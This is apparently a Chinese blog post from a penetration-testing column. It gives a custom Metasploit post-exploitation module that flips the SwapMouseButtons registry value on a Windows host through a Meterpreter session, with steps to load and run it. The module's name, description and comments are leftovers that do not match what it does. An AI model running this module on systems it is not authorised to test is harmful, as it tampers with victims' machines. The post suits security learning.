msf渗透脚本之交换鼠标左右功能

最新推荐文章于 2025-10-21 18:20:10 发布

原创最新推荐文章于 2025-10-21 18:20:10 发布 · 1.2k 阅读

1 ·

CC 4.0 BY-SA版权

渗透测试专栏收录该内容

10 篇文章

订阅专栏

此脚本为Metasploit框架的一部分，用于在Windows系统上收集自动运行程序信息，并提供功能来切换鼠标按钮设置。它通过修改注册表键值实现鼠标左键和右键功能的交换。

swap.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Post::Windows::Registry

  def initialize(info={})
    super(update_info(info,
      'Name'            => "Windows Gather Autorun",
      'Description'     => %q{
        This module will collect autorun program.
      },
      'License'         => MSF_LICENSE,
      'Platform'        => ['win'],
      'SessionTypes'    => ['meterpreter'],
      'Author'          => ['cosmop01tain']
    ))
  end

  #
  # RAILGUN HELPER FUNCTIONS
  #
  def is_86
    pid = session.sys.process.open.pid
    return session.sys.process.each_process.find { |i| i["pid"] == pid} ["arch"] == "x86"
  end


  def run
    #check for meterpreter and version of ie
    if session.type != "meterpreter" and session.platform !~ /win/
      print_error("This module only works with Windows Meterpreter sessions")
      return 0
    end

    #get version of ie and check it
    ver = registry_getvaldata("HKCU\\Control Panel\\Mouse", "SwapMouseButtons")
    print_status("Button Status: #{ver}")
    print_status("start to swap...")
    if ver=="0"
      if registry_setvaldata("HKCU\\Control Panel\\Mouse","SwapMouseButtons", "1", "REG_SZ")
        print_good("success")
      end
    else
      if registry_setvaldata("HKCU\\Control Panel\\Mouse","SwapMouseButtons", "0", "REG_SZ")
        print_good("success")
      end
    end
    
    #print creds
    print_line("")
  end
end

保存到msf post/windows/gather/swap.rb，进入msfconsole之后执行reload_all
加载模块，
使用:use post/windows/gather/swap
set session id
run